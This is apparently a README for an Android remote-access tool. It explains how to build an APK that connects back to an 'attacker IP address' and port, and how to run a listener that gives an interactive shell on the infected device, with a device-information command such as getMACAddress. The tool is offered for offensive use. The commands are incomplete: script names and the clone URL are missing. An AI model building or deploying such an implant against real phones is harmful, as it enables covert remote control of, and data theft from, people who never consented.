git clone
pip install colorama


While cloning the repository using Git bash on windows, you may get the following error:

error: unable to create file <filename>: Filename too long

This is because the Git has a limit of 4096 characters for a filename, except on Windows when Git is compiled with msys. It uses an older version of the Windows API and there’s a limit of 260 characters for a filename.

You can circumvent this by setting core.longpaths to true.

git config --system core.longpaths true

You must run Git bash with administrator privileges.

Usage (Windows and Linux)

Available Modes

  • --build – for building the android apk
  • --shell – getting an interactive shell of the device

build mode

  python --build [flags]
    -i, --ip                Attacker IP address (required)
    -p, --port              Attacker port number (required)
    -o, --output            Name for the apk file (optional)

Or you can manually build the apk by importing Android Code folder to Android Studio and changing the IP address and port number in file and then you can generate the signed apk from Android Studio -> Build -> Generate Signed APK(s)

shell mode

  python --shell [flags]
    -i, --ip                Listner IP address
    -p, --port              Listner port number

After running the shell mode you will get an interpreter of the device

Commands which can run on the interpreter

    getMACAddress              --> returns the mac address of the device
    exit                       --> exit the interpreter
